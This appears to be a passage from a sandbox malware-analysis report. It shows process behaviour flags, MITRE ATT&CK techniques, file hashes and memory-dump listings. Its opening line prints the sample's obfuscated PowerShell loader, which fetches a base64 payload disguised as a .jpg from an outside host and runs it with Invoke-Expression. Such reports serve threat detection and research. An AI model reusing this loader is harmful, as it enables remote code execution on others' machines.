101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,100,114,111,112,109,98,46,99,111,109,47,102,105,108,101,115,47,97,51,52,48,98,48,52,99,48,48,50,97,99,56,54,57,52,55,99,100,57,98,51,99,57,49,100,100,56,48,51,56,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($758886698585848839388847578584837828283747885)|I`E`X
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:972

C:\WINDOWS\syswow64\calc.exe
"{Path}"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1236

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Client.vbs
MD5
6942f18721e02e8bdbbc059c323c1304

SHA1
ea35402005d5a33034c8069786904521a7a52dbc

SHA256
e0b44171e1e80b1f8789f6b2e5ed3602a440fca38f83b402324409d9cc21b276

SHA512
1d67366a7cb09a9556068b220bf3aa8183219fd97ab4731b5530e917420df24da411d0daeba00a935dfd88c3d69aab34557a8c8077e99a5b5f50c416ddb73405

Download Submit
memory/972-73-0x00000000026A4000-0x00000000026A5000-memory.dmp

Filesize
4KB

Download
memory/972-69-0x00000000026A2000-0x00000000026A4000-memory.dmp

Filesize
8KB

Download
memory/972-72-0x000000000269F000-0x00000000026A0000-memory.dmp

Filesize
4KB

Download
memory/972-71-0x000000000269E000-0x000000000269F000-memory.dmp

Filesize
4KB

Download
memory/972-62-0x000007FEFBD71000-0x000007FEFBD73000-memory.dmp

Filesize
8KB

Download
memory/972-64-0x0000000002670000-0x0000000002672000-memory.dmp

Filesize
8KB

Download
memory/972-65-0x0000000002672000-0x0000000002674000-memory.dmp

Filesize
8KB

Download
memory/972-66-0x0000000002674000-0x0000000002677000-memory.dmp

Filesize
12KB

Download
memory/972-63-0x000007FEF2DA0000-0x000007FEF38FD000-memory.dmp

Filesize
11.4MB

Download
memory/972-67-0x000000000267B000-0x000000000269A000-memory.dmp

Filesize
124KB

Download
memory/972-70-0x00000000026A1000-0x00000000026A2000-memory.dmp

Filesize
4KB

Download
memory/1192-55-0x00000000726C1000-0x00000000726C4000-memory.dmp

Filesize
12KB

Download
memory/1192-88-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1192-56-0x0000000070141000-0x0000000070143000-memory.dmp

Filesize
8KB

Download
memory/1192-58-0x0000000075831000-0x0000000075833000-memory.dmp

Filesize
8KB

Download
memory/1192-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1236-78-0x0000000000A80000-0x0000000000D83000-memory.dmp

Filesize
3.0MB

Download
memory/1236-74-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1236-75-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1236-76-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1236-79-0x00000000002D0000-0x00000000002E4000-memory.dmp

Filesize
80KB

Download
memory/1448-80-0x00000000073B0000-0x0000000007531000-memory.dmp

Filesize
1.5MB

Download
memory/1448-87-0x0000000004A50000-0x0000000004AF0000-memory.dmp

Filesize
640KB

Download
memory/1796-83-0x0000000000170000-0x00000000003F1000-memory.dmp

Filesize
2.5MB

Download
memory/1796-85-0x0000000002170000-0x0000000002473000-memory.dmp

Filesize
3.0MB

Download
memory/1796-84-0x0000000000080000-0x00000000000AF000-memory.dmp

Filesize
188KB

Download
memory/1796-82-0x000000006B0C1000-0x000000006B0C3000-memory.dmp

Filesize
8KB

Download
memory/1796-86-0x0000000002480000-0x0000000002513000-memory.dmp

Filesize
588KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads